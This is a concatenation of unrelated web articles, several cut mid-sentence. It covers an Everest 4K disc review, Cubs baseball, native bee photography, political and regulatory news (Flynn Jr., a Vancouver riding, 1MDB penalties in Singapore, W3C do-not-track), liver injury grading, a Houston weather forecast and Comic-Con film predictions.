their hands wrapped around working with the format, I’m not too entirely sure. But, I’m glad that I only paid $15 for this release. Audio Quality (5/5): Packaged with a Dolby Atmos audio track, Everest sounded absolutely phenomenal as it played out through my home theater system. Making use of every channel possible, offering a significantly immersive experience as we follow along with the climbers as they work together to reach their goal; it really felt as if we were right there climbing the mountainside with them. The overall silence outside of the struggles the crew went through was bone-chilling, and I could fathom what it would be like to be up there with the elements like that. The Packaging (3.5/5): Everest comes packaged in your typical 4K UHD amaray case. Within that case is the standard 4K UHD copy of the film, a standard Blu-ray copy of the film, as well as a digital copy redemption pamphlet that allows consumers to add the film to their digital library. The discs do not feature any artwork whatsoever, any only contain the necessary text for the film itself. There is also a slipcover that’s been made available during the initial print run of the film; however the initial print run is still widely available for this format. Special Features (4/5): I was pleasantly surprised to see that Everest did include an audio commentary track with Director Baltasar Kormakur on the 4K UHD disc. Unfortunately, that is the only feature that’s available on this disc, and all other special features are made available on the included Blu-ray disc. Included with this release, is: Learning To Climb: The Actors’ Journey A Mountain Of Work: Recreating Everest Race To The Summit: The Making Of Everest Aspiring To Authenticity: The Real Story Feature Commentary With Director Baltasar Kormakur Technical Specs: Video Codec: HEVC / H.265 Resolution: 4K (2160p) Aspect Ratio: 2.39:1 Original Aspect Ratio: 2.39:1 Audio English: Dolby Atmos English: Dolby TrueHD 7.1 (48kHz, 24-bit) French: Dolby Atmos French: Dolby TrueHD 71 Czech: Dolby Digital 5.1 French (Canada): Dolby Digital 5.1 Polish: Dolby Digital 5.1 Portuguese: Dolby Digital 5.1 Spanish: Dolby Digital 5.1 Subtitles English SDH, French, Portuguese, Spanish, Czech, Danish, Dutch, Finnish, Greek, Norwegian, Polish, Swedish Runtime Original Film: 121 minutes Final Thoughts: Overall, Everest was a great experience. As my wife and I watched through this film, we were able to visually see and audibly hear and experience the overall strain that goes into achieving that goal of reaching the summit of Mount Everest. Seeing all of the work that goes into doing something like this, not only by the climbers, but those who stay behind and man the radio in case of an emergency, it truly is quite the achievement to successfully make it to the top. The overall picture quality of the release was okay as it was definitely a clearer picture than the standard Blu-ray copy of the film, however the use of HDR in this release really wasn’t the best. The audio presentation was definitely top notch. There’s a decent amount of additional content to allow people to explore the story and the work that went into creating this film further. If you’re on the fence about picking up Everest on 4K UHD, I’d only recommend grabbing it while it’s on sale for less than $20.CHICAGO -- The cries for the next Chicago Cubs phenom are starting to grow louder, but the team insists they're in no rush to promote hot-hitting Triple-A catcher Willson Contreras. Entering play Thursday, Contreras was batting.337 with a.427 on-base percentage while garnering rave reviews for his defensive prowess. But the Cubs are happy with their three-headed monster of David Ross, Miguel Montero and Tim Federowicz. Senior vice president of player development and amateur scouting Jason McLeod said a call-up would depend on a specific need by the Cubs. The defensive prowess of hot-hitting Cubs catching prospect Willson Contreras, shown here tagging out Mets baserunner Marc Krauss during spring training, has also not gone unnoticed. AP Photo/John Locher "It's a totally different ballgame when you get up here," McLeod explained Thursday morning. "And now you're trying to game plan for an opposing team, you've got this pitching staff that's here. [There are] very high expectations of the guys sitting behind the plate. Willson is aware of that, and we're doing everything we can to prepare him for that time. But right now, a lot depends on what the need might be up here." Presumably, we'd see Contreras if there was an injury to one of the Cubs' catchers, but with three on the roster, we can't be sure he would come up even then. At least now that we're deeper into the season, the team might feel more comfortable with him in the big leagues, even if it's for a short period of time. "It would depend on what the need is," McLeod reiterated. "Willson is off to a great start to his Triple-A career. He continues to mature over the last two years. The last 12 months have been nothing short of stellar for him." Contreras has missed getting on base in only a handful of games this year, hence his lofty percentage. Though Montero is hitting only.218 going into Thursday's game, his on-base percentage is a more-than-respectable.347. But observers might have an issue with Montero's defense. The Cubs starting catcher has thrown out just one of 18 base stealers and has a minus-2 defensive runs saved, according to ESPN Stats & Information research. Montero's real value, of course, is in his receiving and dealing with a veteran staff. He's always in the top 10 in pitch framing, and this year is no different. With the Cubs' rotation sporting the best ERA in baseball, those behind the plate deserve some credit. That's why Contreras will have to wait his turn. "The offensive production has been terrific," general manager Jed Hoyer said of Contreras. "There is so much more than looking at the offensive stat line. He keeps getting better with his framing. He keeps better at game calling, and the staff down there (Triple-A Iowa) loves him." If you're not wondering about Montero, then you might be questioning why Federowicz is still on the team. Hoyer recently indicated Federowicz's spot on the roster is a fluid one which might rotate between positions and players throughout the year. For now, things are going well and the Cubs want the insurance of an extra catcher. Federowicz has to clear waivers to be sent down. The team doesn't want to risk losing him -- at least not at the moment. There may come a time when that strategy changes, in which case Contreras could perhaps make his debut. "He's going to come up to the big leagues and deal with a lot of veteran guys," Hoyer said. "Veteran pitching staff, a veteran coaching staff and to be able to be a young catcher is difficult. The work he's putting in, in Iowa, will make that much easier. "We couldn't be happier with what he's doing right now."Metallic green bee, Augochloropsis metallica, collecting nectar and pollen from a black-eyed susan, South Carolina. Copyright Clay Bolt In 2014, Clay Bolt, a self-described natural history photographer, started photographing bees in his Bozeman, Montana, garden after reading about colony collapse disorder, the phenomenon devastating honey bee populations around the world. Curious about what he’d captured, he found the bees in his photos weren’t honey bees, which are native to Europe, but rather two different species of native North American bees. In North America alone, Bolt was surprised to learn, there are more than 4,000 native bee species. “As I began to do more research, I realized that so little was known about our native species, and so at that moment I realized that I could use my photography to begin to tell some of those stories,” he said. Ever since, Bolt has been photographing native North American bee species for his project, “Beautiful Bees.” He hasn’t counted how many species he’s photographed, but every time he goes out into the field, he said, he encounters a new one. “There is so much to learn. Because of the incredible number of species, they’ve all evolved to fill different niches within the ecosystem. For example, some bees fly in the spring, some in late summer, some fly just before the sun rises, some even fly at night! There are squash specialists, leafcutter bees, bees that dig nests in the ground, and others that nest in hollow twigs. Everywhere you look, different species of bees are making a living and doing it well,” he said. Hunt’s bumble bee, Bombus huntii, pollinating a sunflower in a community garden, Bozeman, Montana. Copyright Clay Bolt A cuckoo bee, Holcopasites calliopsidis, is dwarfed beside a dime. Copyright Clay Bolt A male mason bee, Chelostoma philadelphi, captured by an ambush bug that lies hidden in a mock orange blossom. This species prefers mock orange flowers for foraging.* Copyright Clay Bolt Long-horned bee, Svastra aegis, Clemson, South Carolina. Copyright Clay Bolt Rusty-patched bumble bee, Bombus affinis, Madison, Wisconsin. Copyright Clay Bolt Bombus sandersoni, Sanderson’s bumble bee, visiting an azalea, Highlands, North Carolina. Copyright Clay Bolt Bolt makes all of his photographs in the field, and he never chills or sedates bees to get his shots. After netting a bee in the wild, he transfers it to a plastic dome on top of a table illuminated from below with a flash and from above with a fill-flash. The bees usually fly around under the dome for a few seconds, and when they stop to clean their wings, Bolt lifts the edge of the dome to make his photograph. He also photographs bees in their natural environments, which requires standing still by flowers during the hottest parts of the day. While they’re not suffering from colony collapse disorder, many native North American bees are still threatened. According to Bolt, 1 in 4 native North American bee species are facing extinction, yet none are protected under the Endangered Species Act. One, the rusty-patched bumble bee, used to be one of the most common bumble bees in North America, but over the past 15 years its numbers have declined 87 percent. For the past year, Bolt has been working with the Xerces Society to push for the bee’s listing. He also recently produced a film with Day’s Edge Productions to spread the world about what’s happening to the rusty-patched bumble bee and what can be done to protect it. People can help keep local bee populations healthy, Bolt said, by refraining from using pesticides and by planting native plants from their regions in their gardens, which provide bees with a varied diet year-around. But getting people to do that starts with educating them and making them passionate about bees, a mission in which Bolt hopes his photos play a part. “I want [viewers] to feel wonder and excitement at how beautiful these important creatures are. And even better, I want them to pay closer attention the next time they are in their own garden or backyard. Many of my subjects are smaller than a grain of rice, but if you look closely, even with the naked eye, you can see how marvelous they are,” he said. A Halictus sweat bee, Halictus poeyi, prepares to land on an Aster next to a metallic green bee, Agapostemon splendens, South Carolina. Copyright Clay Bolt The common eastern bumble bee, Bombus impatiens, Madison, Wisconsin. This bee appears to be expanding its range while others are in decline. Copyright Clay Bolt Yelllowheaded bumble bee, Bombus flavifrons, Fairy Lake, Bozeman, Montana. Copyright Clay Bolt Fuzzy-legged leafcutter bee, Megachile melanophaea, Madison, Wisconsin. Males use the mat of hairs on their front legs to cover the eyes of females during mating. Copyright Clay Bolt A black-tailed bumble bee, Bombus melanopygus, flies in front of the Golden Gate Bridge. Copyright Clay Bolt Correction, May 2, 2016: A photo caption originally misstated that mason bees prefer mock orange flowers for foraging. The Chelostoma philadelphi bee, a type of mason bee, prefers this type of flower.The son of President Trump's former national security adviser, Michael Flynn, is a subject of the federal investigation into Russian election meddling and any possible ties between the Trump campaign and Moscow, according to a Wednesday report from NBC News. The focus on Michael Flynn Jr. has to do, at least in part, with his work with the Flynn Intel Group, his father's lobbying group. Trump's former campaign manager, Paul Manafort, campaign ally Carter Page, as well as the president's son-in-law, Jared Kushner have also been under scrutiny in the investigation. The younger Flynn was asked to leave Trump's transition team in December after embracing the baseless "Pizzagate" conspiracy — the theory that a Washington, D.C., pizza place was a front for a child sex abuse ring run by high-level Democrats. ADVERTISEMENT The elder Flynn was ousted from his role as national security adviser in February after he lied to the public and Vice President Pence about conversations he had with Russian officials prior to Trump's inauguration. Flynn Jr. reportedly worked closely with him, including accompanying him on a 2015 trip to Moscow in which the retired general gave a speech at a gala for the state-sponsored RT network. The Flynn Intel Group reportedly took in $530,000 last year for work benefiting the Turkish government, though the elder Flynn only registered as a foreign lobbyist this year. A former business associate told NBC News that the younger Flynn played a major role in the group's day-to-day operations and served as his father's chief of staff. The development comes after Reps. Elijah Cummings (D-Md.) and Eliot Engel (D-N.Y.) said in a letter they are concerned that the elder Flynn did not identify a single foreign government source he met with in the seven years prior to his submission of a security clearance renewal application in 2016.Newly-minted NDP candidate Mira Oreck is the latest entrant into what’s likely to be a closely-watched race in the new riding of Vancouver-Granville, joining a high-profile Liberal candidate who’s been campaigning for several months and a Conservative who is a relative newcomer. The new riding, which covers a central swath of the City of Vancouver from False Creek to the Fraser River, is drawn from four current ridings: parts Liberal-held Vancouver Centre and Vancouver Quadra, Conservative-held Vancouver South and NDP-held Vancouver-Kingsway. Vancouver Granville Map shows the party that won the most votes in each polling area in the 2011 election. Click on an area for more details. Conservative Liberal NDP Green Tie If the polling station results from 2011 were transposed onto the new boundaries, the Conservatives would have received 15,440 votes, the Liberals 13,137, the NDP 10,670 and the Green party 4,026, according to Elections Canada. For pollster Mario Canseco, Vancouver-Granville will be the most interesting of B.C.’s six new ridings to watch because it’s made up of three distinct areas: an eastern flank that is solidly NDP, a southern tip that consistently voted Liberal until the last election and the wealthy neighbourhoods of Kerrisdale and Shaughnessy in the middle, which tend to vote Conservative, Canseco said. “It’s almost as if you have these three bands in the riding and it’s really a matter of the ground game. Can you... find as many voters as you can in the places where your party tends to be strong. Because it’s fairly close.” In 2011, the vote breakdown was 35 per cent Conservative, 30 per cent Liberal and 24 per cent NDP. “If (the Conservatives) lose two or three per cent of their vote because people might be upset with the Harper government or they don’t like the candidate, and the Liberals gain those two or three points, then it’s a Liberal seat. “You could also make the case that if the NDP continues to rise nationally, if we have a situation where the campaign starts to become a referendum on whether (NDP leader Tom) Mulcair or (Conservative leader Stephen) Harper will be the prime minister, then they could actually gain some votes as well. So this is probably the most fascinating race in the entire city.” Candidates also matter. Liberal Jody Wilson-Raybould, who has been the party’s official candidate for months, was B.C. regional chief of the Assembly of First Nations. She is also a lawyer, starting out as a Crown prosecutor in Vancouver before moving into treaty law. She has been repeatedly billed by the Liberals as a star candidate, Canseco said. The NDP’s Oreck is a first-time candidate, but not new to politics. Oreck, a director with the left-leaning Broadbent Institute who grew up in the riding, has worked in the backrooms of several campaigns, including the 2012 re-election campaign of U.S
group of trees. I took a few pictures of this and returned to the car. Often times the sunset is best when the sun actually disappears. The sun continues to reflect on the overhead clouds and the sky turns from bright orange to pink. While in the bright orange phase, I noticed one palm tree sticking out from the rest. I thought this would be great to frame this in the brilliant orange sky. I drove further until I had this exact set up and took a few more pictures of the lone palm and the sunset. Speaking of sunsets, are you disappointed with your 2014 calendar or do you not have one yet? It is not too late to get a Stay Adventurous 2014 Sunset Sunday calendar. Click here for details. TT The goal of Traveling Ted is to inspire people to outdoor adventure travel and then provide tips on where and how to go. If you liked this post then enter your email in the box to get email notifications for each new entry. Daily travel photos are excluded from your email in order to not flood you with posts. There is no spam and email information will not be shared. Other e-follow options include Facebook (click on the like box to the right) or twitter (click on the pretty bird on the rainbow above). On the right sidebar is a donate button. If you would like to donate in order to support the site, it would be appreciated. All donations would cover travel expenses and improvements to make the site better.In my last post, I reviewed the updated AAST organ injury scaling (OIS) for the spleen. Today, I’ll share details of the new version of liver grading. First, the overall focus of the updated liver scale is similar to the spleen one: it incorporates a listing of criteria identified by CT scan that parallels the old anatomic criteria. The CT column contains all the old anatomic stuff, but now includes scaling for active bleeding. The confusing part? Whereas contained active bleeding within the spleen was Grade IV and active bleeding escaping the spleen was Grade V in the updated scale, these drop down a grade in the liver. So bleeding contained with the liver parenchyma is Grade III and active extravasation escaping into the peritoneal cavity is only Grade IV. I presume this has to do with the abbreviated injury score (AIS) used to calculate ISS, and that the mortality hit from this degree of bleeding is less than that of the spleen. The final difference between the updated scale and the original is the removal of Grade VI. This was previously described as hepatic avulsion, which is a nonsurvivable injury. The AIS for Grade VI liver used to be 6, which causes an immediate ISS calculation short circuit to 75. Which also means that survival is approximately 0%. This is not part of the OIS update, which may be due to the fact that it never occurs in anyone who makes it to a trauma center alive. Here are the updated guidelines. Click the image or link below it to open a bigger image in a new window. Click to download larger image In the next post, I’ll review the new features of the kidney injury scale.SAINT JOHN – While Halifax is divided on whether to roll out the red carpet to R & B star Chris Brown, a second East Coast concert was announced on Wednesday. Radio station K100 announced, on Twitter and Facebook, the 24-year-old will headline the Hot Summer Blast Festival at Saint John’s Harbour Station on Sept 1 — a day after he’s set to play Dartmouth’s Alderney Landing at the Energy 103.5-sponsored Energy Rush concert. K100 Presents CHRIS BROWN headlining the HOT SYMMER BLAST festival at Harbour Station September 1st! More acts to… http://t.co/zJuAOqXCnu — K100 (@K100_FM) July 24, 2013 The uproar over Brown’s appearance in the Maritimes stems from his conviction for assaulting former girlfriend Rihanna, the night of the 2009 Grammy Awards. Read more: Charity concert planned to counter Chris Brown performance Halifax residents reacted with anger over the decision to invite the award-winning singer to perform and a number of businesses pulled their sponsorship from the concert. WATCH: Should the municipality influence concerts?Gov. Nathan Deal’s decision late Thursday to sign legislation allowing guns on every public college and university in Georgia left some students and faculty reeling, while others said they understand why some students might want to carry weapons. University of Georgia junior Mallory Jessica Harris, who had organized rallies against the measure, said Friday that critics had been trading messages on Facebook about how to work with University System of Georgia officials. “Right now, we are talking about what we do next,” said Harris, 21, who’s majoring in biology and math. “The big focus is how do we implement this.” Supporters including 29-year-old Georgia State University law student Alex Ward, meanwhile, were already thinking of fixes to the law that would allow faculty to carry permitted weapons into their own offices. And then there were students such as Georgia Tech junior Dustin Tyson, 23, who said he understood both sides of the debate. Tyson, who grew up in Milledgeville, said it’s alarming when he gets notices about campus crime. “It’s kind of eye-opening,” said Tyson, who said the alerts make him understand the desire for some on campus to protect themselves with a firearm. The timing of Deal’s approval came at the busiest time of the spring semester — during final exams and graduation ceremonies — and the governor will be on the Valdosta State University campus Saturday to give the commencement address. Officials there have already begun to worry about the law’s effect, although the University System said it will finalize new policy guidelines for its schools before its July 1 effective date. Still, not everyone is on board. “This is a mistake,” said Brian Childress, the city of Valdosta’s police chief, who is worried the new law will increase chances that students may harm themselves or someone else. “It defies all of the logic and the data.” Once it takes effect, House Bill 280 will allow anyone with a concealed weapons permit to carry firearms on public college and university campuses, with a number of exceptions that include dormitories, fraternity and sorority houses, and buildings used for athletic events. On-campus child care centers will also be excluded, as will areas where high school students attend class, offices or rooms used for disciplinary hearings, and faculty academic offices. The bill’s sponsor, state Rep. Mandi Ballinger, R-Canton, has said it will restore a Second Amendment right to bear arms, and she noted that Georgia law requires anyone seeking a state permit to carry a concealed gun to be at least 21 years old. Applicants also must be fingerprinted and pass a background check. Still, with little in the bill indicating how schools should implement the new rules, a number of faculty and students said they were not sure what to expect. Deal’s signature made Georgia the 34th state to allow guns on it public campuses. Nine states allow concealed weapons on public postsecondary campuses, according to the National Conference of State Legislatures. Twenty-four other states allow concealed carry weapons on campus but give each college or university the option to permit anyone to have a firearm. Every state does it a little differently. Texas, for example, included provisions allowing gun safes and lockers in university housing in its measure last year. Georgia’s measure does not, and supporters including Ballinger have said it was conceived with the idea that most students over 21 are not going to be living on campus. Some students are already pushing for officials to post signs on campus explicitly marking areas where people can carry guns and where they are off-limits. University of North Georgia assistant English professor Matt Boedy recently sent administrators a list of questions he and other faculty members had about how the system would shape new campus gun rules. Among their questions: How do you know whether a gun holder has a permit; will the campus have to pay more money for insurance; and what would be the procedures for preventing students from carrying a firearm into their offices? Boedy said he’s worried the law will result in some of his colleagues spending less time on campus out of fear that a shooting might occur. “It would radically change what we do,” Boedy said.Plus, the actress reveals what hints she's gotten about season two [Warning: Spoilers ahead for Fargo season one.] In an era of TV in which pretty much every character you love will die, Fargo fans were pleasantly surprised that the show's good guys — Molly (Allison Tolman) and Gus (Colin Hanks) — lived happily ever after. Tolman, who is back on the press circuit promoting the show's Blu-ray /DVD release, tells The Hollywood Reporter she was nervous that one of them would die all the way up until reading the season's final scene. She also reveals what she knows about the show's planned second season (it's not much — but it's apparently "looking good!"). Read her full conversation with THR below, and check out a Blu-ray extras clip showing her life-changing audition at the top of the post. How did you feel that everything turned out well for Molly and Gus? I was relieved, as I'm sure other fans were who were following along with the story. I certainly was concerned up until the very last page that I read that one of us was going to be offed. I was so glad it ended up that way and we all got to be together and be a family at the end. It was a nice reward for the hell that we put people through on that show. Also read 'Fargo' Creator on Defying Finale Expectations, Season 2 Plans You're character's dad will be a young man in the next season. Do you know any details about that? I'm pretty much like the rest of you guys — even when I was reading scripts, I thought "man, they are really laying the groundwork for a season in Sioux Falls. I hope they do that." But I wasn't expecting it to be this next season. As far as details, I don't think I know anything more than what's been publicized. I get cryptic messages from [creator] Noah [Hawley] and the producers. "Oh it's looking good! It's really coming together." But that's not really any information, so I like everyone else am waiting to hear more. What was the most challenging part for you of shooting the final episode? Definitely for me it was the scene in the cabin when Molly finally gets to listen to the tape of Lester's (Martin Freeman) phone call. Like a lot of people, I wanted Molly to have a guns blazing, glory moment, which just wasn't realistic with the story Noah had crafted about an eight-months pregnant cop. So for me that scene with her receiving proof that she'd been right for all these years was her moment of vindication and was her moment of glory. So trying to pack all of that punch into this quiet scene felt like a big responsibility to me. Also read 'Fargo' Star on Big Twist: 'The Stakes Are So Much Higher' What have people been saying to you now that it's over and they've seen your full performance? Everyone from the beginning has been so kind and so complimentary. This character sort of came out of nowhere and filled a hole that we didn't know we had, as far as really likeable, down home, practical female characters on television, where you watch and go "oh, I know that person." People felt very close to this character. I have this added bonus of having this fun story of the last year of my life — where I was a year ago compared to where I am now. When people know that story it adds another layer and makes people feel like they know me. I've met a lot of really friendly people who are incredibly happy for me, which is really flattering and humbling. Kathy Bates is beloved, but on Twitter a lot of people were sad that she beat you out at the Emmys for the supporting actress in a movie or miniseries award. What's that like? That was very sweet, and I think a lot of people were torn because we have a lot of crossover fan base — American Horror Story and Fargo. A lot of people didn't know what do with it. Fargo's first season is now available on Blu-ray and DVD. Email: Aaron.Couch@THR.com Twitter: @AaronCouchOn Saturday, March 14, 2015, Will Kimmel got behind the wheel of his race car prepared to race in the ARCA 200 in Mobile, AL like he had many times before. Little did he know, that race would end up altering the rest of his race season. Kimmel unexpectedly sped off the track on the restart of lap twelve creating a violent crash, ending up in the parking lot where he made contact with a parked truck. Kimmel came out of the wreck without a scratch, the car on the other hand was totaled. Kimmel, along with his dad, Bill, and the other members of the Kimmel Race team have suffered a huge setback from racing. Hopeful their next race is Will's home track of Salem Speedway on April 26, 2015. Let's help Will get back on the track in front of his hometown crowd! So many people have asked about Will - thankfully he didn't have a mark on him - however, this wreck has been devastating to his racing. Most people know he races on minimal money, now a brand new race car is destroyed along with a lot of time. My brother is a hard worker and talented race car driver and I believe he deserves to race. Will would never ask but I am --- anyone that could send anything 1 dollar 5 dollars 10 dollars 20 dollars 50 dollars would be a huge help getting Will back on the track. There are sponsorship options to help with the rest of the season, please contact Kimmel Racing (812) 944-0444 Help spread the word! Share Tweet 193 total shares total sharesrelated media assets (image or videos) available. Click to see the gallery. 2 related media assets (image or videos) available. Click to see the gallery. SINGAPORE: The Monetary Authority of Singapore (MAS) has imposed financial penalties on Credit Suisse and United Overseas Bank (UOB), and issued Prohibition Orders (POs) against three individuals and served notice of its intention to impose the same regulatory action on three others. Its latest regulatory action comes as MAS announced in a media release on Tuesday (May 30) the completion of its two-year review of the banks involved in 1MDB-related transactions known to-date. Advertisement REGULATORY ACTIONS AGAINST CREDIT SUISSE AND UOB The latest inspections of Credit Suisse and UOB revealed several breaches of anti-money laundering (AML) requirements and control lapses, MAS said. They included weaknesses in conducting due diligence on customers and inadequate scrutiny of customers’ transactions and activities. MAS said it did not detect pervasive control weaknesses within these banks. MAS imposed on Credit Suisse and UOB financial penalties amounting to S$700,000 and S$900,000, respectively, for breaches of MAS Notice 626 - Prevention of Money Laundering and Countering the Financing of Terrorism. Advertisement Advertisement It has directed the banks to appoint independent parties to assess and confirm to MAS that rectification measures have been effectively implemented. MAS has also instructed the management of Credit Suisse and UOB to take disciplinary measures, where appropriate, against errant staff. The banks are currently taking measures to address the weaknesses identified and strengthen their AML controls, the media release added. BANKS PLEDGE TO IMPROVE POLICIES, DONATE PROFITS TO CHARITY Both banks released press statements in response to the announcement on Tuesday morning, noting that MAS findings had found no pervasive anti-money laundering control weaknesses and accepting the central bank's findings. Credit Suisse said it "takes a very serious view of our obligations in the prevention of money laundering and is firmly committed to upholding the high standards of the Singapore financial centre". "We acknowledge the outcome of the review and regret that we have fallen short of the MAS’ and our own high standards. In recognition of the foregoing, Credit Suisse will donate all profits from the transactions in question to a worthy cause in support of our local community. "Over the last few years, Credit Suisse has been investing in people and systems to strengthen its anti-money laundering processes and controls. The bank has co-operated fully with the MAS and taken further measures to address the issues identified in its review.” In a separate statement, UOB said it "takes the importance of rigour in customer due diligence seriously". The bank said it had instituted measures to address the areas of concern, including enhancing its training programme to raise risk and control awareness among its staff. Like Credit Suisse, UOB also said the profits associated with the lapses will be donated to charity. "UOB will continue to build upon our anti-money laundering policies, processes and practices to strengthen the Bank’s ability to combat the threats posed by those seeking to abuse the banking system. "We also expect our staff to uphold the highest ethical and professional standards in line with our code of conduct and will not condone behaviour that falls short of this." PROHIBITION ORDERS AGAINST CONVICTED BANK EMPLOYEES Further to its announcement on Mar 13, 2017, MAS also announced on Tuesday that it has issued lifetime POs against Mr Jens Fred Sturzenegger and Mr Yak Yew Chee, as well as a 15-year PO against Ms Seah Mei Ying with effect from May 29, 2017. Mr Sturzenegger was the branch manager of Falcon Private Bank Ltd, Singapore branch (Falcon Bank), while Mr Yak and Ms Seah were employees of BSI Bank Limited (BSI Bank). Mr Sturzenegger has been convicted of financial crimes including providing false information to authorities in an attempt to cover up his knowledge of Falcon Bank’s relationship with Mr Low Taek Jho. Mr Yak and Ms Seah were convicted of multiple counts of failing to report suspicious transactions and of forging reference letters at BSI Bank on behalf of Mr Low. All three individuals are prohibited from (i) providing any capital markets and financial advisory services; and (ii) taking part in the management of, acting as a director of, or becoming a substantial shareholder of any capital markets services or financial advisory firm in Singapore. PROHIBITION ORDERS AGAINST KELVIN ANG AND OFFICERS OF NRA CAPITAL PTE LTD MAS has served notice of its intention to issue a PO against Mr Ang Wee Keng Kelvin, a former representative of Maybank Kim Eng Securities (MKES). MAS also served notice of its intention to issue POs against the Chief Executive Officer of NRA Capital (NRA), Mr Kevin Scully, and its former Head of Research, Mr Lee Chee Waiy. Through Mr Ang’s introduction, NRA was appointed to perform the valuation of PetroSaudi Oil Services Limited (PSOSL). On 24 May 2017, Mr Ang was convicted of an offence under the Prevention of Corruption Act for bribing Mr Lee with S$3,000 to expedite the preparation of the valuation report on PSOSL. MAS said Mr Lee had been the primary person in NRA working on the valuation. Apart from accepting the bribe, he was also found to have applied inappropriate methodology and assumptions in the valuation of PSOSL. As CEO of NRA, Mr Scully had failed to ensure that his analyst, Mr Lee, had exercised sufficient care, judgment and objectivity in the valuation of PSOSL, MAS added. Commenting on the review, Ravi Menon, Managing Director of MAS said: “The two-year long 1MDB-related review holds key lessons for both MAS and financial institutions in Singapore. MAS has enhanced its AML surveillance and taken unprecedented enforcement actions against errant institutions and individuals. "Financial institutions have increased their risk awareness and strengthened their AML controls. Our financial industry is in a better position today than it was when the abuses stemming from the 1MDB-related flows took place. The price for keeping our financial centre clean as it grows in size and inter-connectedness is unstinting vigilance,” he added.The World Wide Web Consortium has rejected an attempt by the advertising industry to hijack a specification describing how websites should respond to "do not track" requests sent by Web browsers. Suggestions from the Digital Advertising Alliance (DAA) would have allowed advertisers to continue profiling users who had asked not to be tracked. It would also have allowed them to "retarget" ads to those users by showing ads relevant to one site or transaction on all subsequent sites they visited, according to the co-chairs of the W3C's Tracking Protection Working Group. A number of popular browsers can already send a special header along with requests for Web pages to indicate whether the user wishes to be tracked. The working group is mainly concerned with standardizing the technical mechanisms for server-side compliance with those do-not-track requests. It will continue its work on the specification in a teleconference Wednesday. Proposals similar to those made by the DAA, an umbrella organization of online advertising organizations whose members conduct a large fraction of online advertising, will also be rejected, wrote working group co-chairs Matthias Schunter and Peter Swire on Monday. Adopting the DAA's proposed changes would have led to "widespread confusion if consumers select a do-not-track option, only to have targeting and collection continue unchanged," they wrote. There has already been a certain amount of confusion around the do-not-track header, which can signal three values: don't track, do track or no preference. Microsoft had proposed that Internet Explorer 10 would send the message "don't track" by default, even where users had not expressed a preference. Web sites including Yahoo retaliated, saying they would ignore IE10's do-not-track requests and continue to track. The Tracking Protection Working Group said the DAA's proposals were not only confusing, but also inconsistent with the working group's charter. This states that the do-not-track standard should define mechanisms for expressing user preferences around Web tracking and for blocking or allowing Web tracking elements. The advertisers' suggestions didn't establish a significant change from the status quo, the working group's co-chairs said. "Based on the comments received, the current DAA Proposal is less protective of privacy and user choice than their earlier initiatives," wrote Schunter and Swire, adding that all DAA proposed changes were rejected. "We will not revisit the choices presented in the DAA change proposal and rejected in this decision," they wrote. Instead, the working group will continue developing the draft base text established in June. Next, the group will examine other change proposals to the June draft, and will seek to close as many as possible this month, they said. The working group's 110 members include consumer groups, browser developers, regulators and subject matter experts. Loek is Amsterdam Correspondent and covers online privacy, intellectual property, open-source and online payment issues for the IDG News Service. Follow him on Twitter at @loekessers or email tips and comments to loek_essers@idg.comThe much promised pattern change in Houston’s weather is finally at hand. During the last couple of days a tropical system has completely soaked Louisiana, leading to flash flood emergencies across parts of the state, especially for parishes just north of, and along Interstate 10. Beginning later today Houston is going to see increasing amounts of moisture from this system move into the area, which should set the stage for several wet days. How much? It is going to be hard to nail down the particulars of when, exactly, the heaviest rain will come. But it’s safe to say, with a tropical air mass moving into place over the region, heavy rain will be possible most days beginning later today through Thursday or Friday. Not every location will get hit every day, but we should see mostly cloudy weather on most days. After five consecutive 100-degree days, and a 99-degree mark on Friday, we should see highs confined to the upper 80s to lower 90s most days. Because Houston has been so dry during July and the first half of August, the region can handle quite a bit of rain—even 6 to 8 inches over several days would be manageable—before we start seeing flooding. The caveat here is that with tropical moisture in place, we will have the potential for very high rainfall rates that can cause some flash flooding. This is the biggest concern we’re going to have to watch for. I think the most likely scenario is the region sees 4 to 6 inches of rain during the coming week, likely with higher totals on the eastern side of the region (i.e. east of Interstate 45). The best chance of rain may come later on Sunday and Monday. During heavy downpours this may cause some temporary street flooding, but it does not appear likely that we will see widespread flooding backing up into neighborhoods. In any case, we’re now making the transition from hot and dry, to muggy and wet weather. In Houston, in summer, that means the potential for floods so that is something we’ll have to watch for. Posted at 8:15am CT on Saturday by EricEvery year we take a look at the movies that might be making an appearance at San Diego Comic-Con. With the summer movie season kicking off in MARVEL-ous fashion this past weekend, we thought there’s no better time than now to run through our list. Note that the information in this list is accurate at the time of publication. We’ll publish any news of confirmations (or exclusions) from this year’s SDCC as they are announced. 1. Kick-Ass 2 and R.I.P.D. We’ve heard rumblings that Kick-Ass 2 was a lock for SDCC this year. That would add some heat to the rumor that Jim Carrey, who would be a guest at the panel, would also be unveiled for his rumored casting as Rocket Raccoon for Marvel’s Guardians of the Galaxy. What we don’t know is if Universal would also be bringing R.I.P.D. to the con, which will be getting its U.S. theatrical release the same weekend of Comic-Con. As Universal has proven in the past, it loves to screen its SDCC-friendly releases for attendees (see Cowboys & Aliens, Scott Pilgrim vs. the World), so at the very least we expect a special Thursday night screening of Dark Horse’s big screen adaptation starring Jeff Bridges/Ryan Reynolds. 2. Ender’s Game An easy pick for a Hall H appearance, Writer/Producer Roberto Orci already confirmed he would be at SDCC in support of the big screen adaptation of the classic sci-fi novel, due in theaters December 2013. And without any new Twilight films to promote, Summit Entertainment, which is distributing Ender’s Game in the U.S., might even use its mainstay Thursday AM slot in Hall H to kick-off Comic-Con with this, its biggest release of the year. The real question is, will Harrison Ford be back at SDCC as a panel guest? 3. Red 2 DC and Summit’s Red was a surprise hit in 2010, so the franchise created by Warren Ellis gets a sequel with a few more big names added to its hit list. The problem here, like R.I.P.D., is that Red 2‘s U.S. release is slated during Comic-Con weekend. Again, Summit might use its Thursday AM slot for some last-minute promotion, considering all eyes are on SDCC. 4. The Wolverine and X-Men: Days of Future Past Director Brian Singer has already thrown out the #SDCC hashtag in his tweets during pre-production, indicating he will be bringing the 2014 release to Comic-Con, which has now begin filming, to Hall H. And if he does, which seems likely, hopefully the stellar cast of old and new mutants will be in tow. But chances are high Twentieth Century Fox would bookend an X-Men movie panel with The Wolverine, Hugh Jackman’s standalone flick and sequel to 2009’s disappointing X-Men Origins: Wolverine, which gets its U.S. theatrical release the week after Comic-Con. 5. Fantastic Four Ever since Galactus’ big-screen debut was relegated to a cloud – really? – fans have been clamoring for Twentieth Century Fox’s announced 2015 reboot. And for good measure. It seems they are going for a more faithful adaptation of comic’s favorite superhero team, enlisting Mark Millar 